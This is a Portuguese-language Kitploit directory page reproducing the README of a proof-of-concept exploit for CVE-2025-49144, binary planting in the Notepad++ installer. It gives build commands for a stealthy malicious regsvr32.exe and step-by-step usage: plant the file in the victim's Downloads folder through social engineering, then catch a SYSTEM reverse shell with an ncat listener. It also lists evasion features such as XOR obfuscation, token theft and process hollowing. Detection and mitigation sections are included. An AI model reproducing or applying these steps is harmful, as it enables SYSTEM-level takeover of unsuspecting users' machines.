Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-49144 — PoC CVE-2025-49144 | Kitploit
Ferramentas/GitHubGitHub/vr00mm/cve-2025-49144
Escalada de PrivilégiosMecanismos de PersistênciaExploraçãoComando e ControleEngenharia SocialAprendizado e EducaçãoRed TeamingDesenvolvimento de PayloadsExploração de Binários
GitHubvr00mm/cve-2025-49144

CVE-2025-49144

PoC CVE-2025-49144

62há 1 anoAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver Repositório

PoC de Binary Planting no Notepad++ (CVE-2025-49144)

⚠️ APENAS PARA FINS EDUCACIONAIS
Este código foi desenvolvido para fins educacionais e de pesquisa para entender vulnerabilidades de binary planting. Use apenas em ambientes controlados e com a devida autorização.

📋 Visão Geral

Esta Prova de Conceito demonstra a vulnerabilidade de binary planting no instalador do Notepad++ (CVE-2025-49144) referenciada em GHSA-9vx8-v79m-6m24. A vulnerabilidade permite que um invasor obtenha privilégios de nível SYSTEM colocando um executável malicioso chamado regsvr32.exe no mesmo diretório do instalador do Notepad++.

🎯 Detalhes da Vulnerabilidade

  • Alvo: Instalador do Notepad++ (todas as versões anteriores à v8.8.2)
  • Método: Binary planting via regsvr32.exe malicioso
  • Causa Raiz: Os instaladores do Notepad++ invocam binários do sistema, como regsvr32, sem especificar caminhos absolutos
  • Impacto: Quando um usuário executa o instalador, o sistema carrega automaticamente o arquivo malicioso com privilégios de SYSTEM, concedendo ao invasor controle total sobre a máquina alvo
  • Vetor de Ataque: Engenharia social ou clickjacking para enganar os usuários e fazê-los baixar tanto o instalador legítimo quanto um executável malicioso para o mesmo diretório (normalmente a pasta Downloads)

🏗️ Arquitetura

A PoC é composta por múltiplos componentes que trabalham em conjunto:

root@kitploit:~
┌─────────────────┐    ┌──────────────────┐    ┌─────────────────┐
│ Notepad++       │    │ Malicious        │    │  Reverse Shell  │
│ Installer       │───▶│ regsvr32.exe     │───▶│   (PowerShell)  │
│ (searches for   │    │ (CGO binary)     │    │  with SYSTEM    │
│  regsvr32.exe)  │    │                  │    │  privileges     │
└─────────────────┘    └──────────────────┘    └─────────────────┘

Componentes Principais

🔧 Recursos Técnicos

🛡️ Técnicas de Evasão

  • Ofuscação de Strings: O caminho do PowerShell é codificado com XOR para evitar detecção estática
  • Processos Destacados: Cria processos independentes que sobrevivem ao encerramento do processo pai
  • Impersonação de Token: Eleva privilégios roubando tokens de SYSTEM
  • Process Hollowing: Injeta código em processos legítimos do Windows

🌐 Capacidades de Rede

  • TCP Keep-Alive: Mantém conexões persistentes através de firewalls
  • Tentativa de Reconexão: Reconexão automática com atrasos configuráveis
  • Tratamento de Timeout: Operações de socket não bloqueantes com timeouts adequados
  • Limitação de Taxa: Evita spam de conexões e detecção

💻 Integração com o Sistema

  • Integração CGO: Interoperabilidade perfeita entre Go e C para chamadas de sistema
  • Disfarce de Executável: Imita o comportamento legítimo do regsvr32.exe
  • Multithreading: Threads separadas para manipulação de stdin/stdout/stderr
  • Recuperação de Erros: Tratamento gracioso de falhas de conexão e encerramento de processos
  • Gerenciamento de Recursos: Limpeza adequada de handles, sockets e memória

🚀 Instruções de Build

Pré-requisitos

root@kitploit:~
# Instalar Go (1.24+)
# Instalar MinGW-w64 para compilação CGO
# Instalar Git para controle de versão

Compilação

root@kitploit:~
# Clonar o repositório
git clone https://github.com/Vr00mm/CVE-2025-49144
cd CVE-2025-49144

# Compilar como executável (disfarçado de regsvr32.exe)

# Para máxima furtividade (remover informações de debug)
go build -ldflags="-s -w" -o regsvr32.exe

# Para desenvolvimento (com símbolos de debug)
go build -o regsvr32_debug.exe

📖 Uso

Binary Planting (Vetor de Ataque Principal)

root@kitploit:~
# 1. Colocar o regsvr32.exe malicioso no mesmo diretório do instalador do Notepad++
# Normalmente a pasta Downloads, onde os usuários baixam o instalador
copy regsvr32.exe "C:\Users\%USERNAME%\Downloads\"

# 2. O usuário baixa o instalador oficial do Notepad++ para a pasta Downloads
# 3. Quando o usuário executa o instalador, ele procura por regsvr32.exe no diretório atual primeiro
# 4. O instalador encontra e executa nosso regsvr32.exe malicioso com privilégios de SYSTEM

# 5. Aguardar a conexão reversa do shell
ncat -tlnp 4445

🔍 Fluxo do Ataque

root@kitploit:~
sequenceDiagram
    participant User
    participant Attacker
    participant Downloads
    participant NotepadInstaller
    participant MaliciousRegsvr32
    participant SystemProcess

    User->>Downloads: Baixar instalador do Notepad++
    Attacker->>Downloads: Colocar regsvr32.exe malicioso (engenharia social)
    User->>NotepadInstaller: Executar instalador da pasta Downloads
    NotepadInstaller->>Downloads: Procurar por regsvr32.exe no diretório atual
    Downloads->>MaliciousRegsvr32: Encontrar regsvr32.exe malicioso primeiro
    NotepadInstaller->>MaliciousRegsvr32: Executar com privilégios de SYSTEM
    MaliciousRegsvr32->>MaliciousRegsvr32: Criar processo destacado
    MaliciousRegsvr32->>SystemProcess: Enumerar processos SYSTEM
    SystemProcess->>MaliciousRegsvr32: Roubar token do winlogon/services
    MaliciousRegsvr32->>MaliciousRegsvr32: Criar PowerShell com token SYSTEM
    MaliciousRegsvr32->>Attacker: Estabelecer conexão reversa
    MaliciousRegsvr32->>NotepadInstaller: Continuar com a funcionalidade legítima do regsvr32
    Attacker->>SystemProcess: Executar comandos como SYSTEM

🎓 Aspectos Educacionais

Conceitos de Segurança Demonstrados

  1. Binary Planting

    • Comportamento inseguro do caminho de busca de executáveis
    • Elevação de privilégio através de vulnerabilidades em instaladores
    • Vetores de ataque por engenharia social
  2. Elevação de Privilégio

    • Métodos de impersonação de token
    • Roubo de token de processos
    • Aquisição de acesso de nível SYSTEM
  3. Mecanismos de Persistência

    • Criação de processos destacados
    • Mimetização de processos de serviço
    • Lógica de tentativa de reconexão
  4. Programação de Rede

    • Implementação de reverse shell
    • Programação de sockets em C
    • Rede multiplataforma
  5. Programação CGO

    • Interoperabilidade entre Go e C
    • Programação de nível de sistema em Go
    • Integração entre linguagens

Objetivos de Aprendizado

  • Entender como funcionam as vulnerabilidades de binary planting
  • Aprender sobre caminhos de busca de executáveis inseguros em instaladores
  • Explorar a elevação de privilégio no Windows via falhas em instaladores
  • Estudar vetores de ataque por engenharia social
  • Praticar programação CGO e integração entre linguagens
  • Praticar codificação segura e análise de vulnerabilidades

🛡️ Detecção e Mitigação

Métodos de Detecção

root@kitploit:~
# Monitorar uso suspeito de regsvr32
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; ID=4104}

# Verificar conexões de rede incomuns
netstat -ano | findstr ":4445"

# Monitorar criação de processos
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4688}

Estratégias de Mitigação

  • Ação Imediata: Atualizar para o Notepad++ v8.8.2 ou posterior, que define explicitamente caminhos absolutos ao invocar executáveis como regsvr32
  • Lista de Permissões de Aplicativos: Usar ferramentas como AppLocker ou Windows Defender Application Control
  • Verificação de Executáveis: Implementar verificação de assinatura digital para todos os executáveis
  • Validação de Caminhos: Garantir que os aplicativos usem caminhos completos para utilitários do sistema
  • Menor Privilégio: Executar aplicativos com as permissões mínimas necessárias
  • Monitoramento de Rede: Monitorar conexões de saída incomuns
  • Detecção de Endpoint: Implantar soluções EDR para detectar process hollowing
  • Verificação de Configuração: Evitar executar instaladores a partir de locais graváveis pelo usuário, como a pasta Downloads

⚖️ Considerações Legais e Éticas

⚠️ Avisos Importantes

  • Autorização Necessária: Use apenas em ambientes que você possua ou para os quais tenha permissão explícita para testar
  • Finalidade Educacional: Este código foi desenvolvido para aprendizado e pesquisa em segurança
  • Sem Intenção Maliciosa: Não se destina a acesso não autorizado ou atividades ilegais
  • Divulgação Responsável: Relate quaisquer vulnerabilidades encontradas pelos canais adequados

Diretrizes Éticas

  1. Uso Responsável: Use apenas para testes de segurança legítimos e educação
  2. Sem Acesso Não Autorizado: Nunca implemente contra sistemas sem permissão
  3. Atribuição Adequada: Crédito aos pesquisadores originais e descobridores da vulnerabilidade
  4. Compartilhamento de Conhecimento: Compartilhe descobertas de forma responsável com a comunidade de segurança

🔧 Solução de Problemas

Problemas Comuns

Falhas de Conexão

root@kitploit:~
# Verificar se a porta está disponível
netstat -ano | findstr ":4445"

# Verificar configurações do firewall
netsh advfirewall firewall show rule name=all | findstr "4445"

Erros de Build

root@kitploit:~
# Garantir que o CGO esteja habilitado
set CGO_ENABLED=1

# Verificar a instalação do MinGW
gcc --version

# Verificar se a instalação do Go suporta CGO
go env CGO_ENABLED

Falhas na Aquisição de Token

  • Garantir que o programa seja executado com privilégios suficientes
  • Verificar se há processos SYSTEM disponíveis para roubo de token
  • Verificar a compatibilidade com a versão do Windows
  • Observação: Esta vulnerabilidade afeta todas as versões do Notepad++ anteriores à v8.8.2, portanto a PoC deve funcionar em uma ampla gama de instalações

📚 Referências

  • Repositório CVE-2025-49144
  • Advisório de Segurança do Notepad++ GHSA-9vx8-v79m-6m24
  • NVD CVE-2025-49144
  • MITRE ATT&CK T1574.007 - Path Interception by PATH Environment Variable
  • MITRE ATT&CK T1134 - Access Token Manipulation
  • Documentação Microsoft - Secure Binary Loading

📄 Licença

Este projeto é distribuído sob a Licença MIT para fins educacionais. Consulte o arquivo LICENSE para obter detalhes.


Lembre-se: Esta ferramenta é apenas para fins educacionais e de testes autorizados. Sempre siga práticas de divulgação responsável e respeite os limites legais.

Baixar ferramenta
ArquivoFinalidadeLinhas
main.goPonto de entrada, gerencia a execução do regsvr32~80
winbind.hCabeçalho principal com declarações de funções~45
main.cIniciador central do reverse shell e criação de processos destacados~75
shell.cGerenciador de shell com execução ofuscada do PowerShell~120
process.cAquisição de token e criação de processo SYSTEM~195
socket.cConexão de rede com TCP keep-alive~85
threads.cThreads de I/O entre socket e pipes~60
utils.cValidação de entrada e limitação de taxa~35
obfuscate.cTécnicas de ofuscação do caminho do PowerShell~70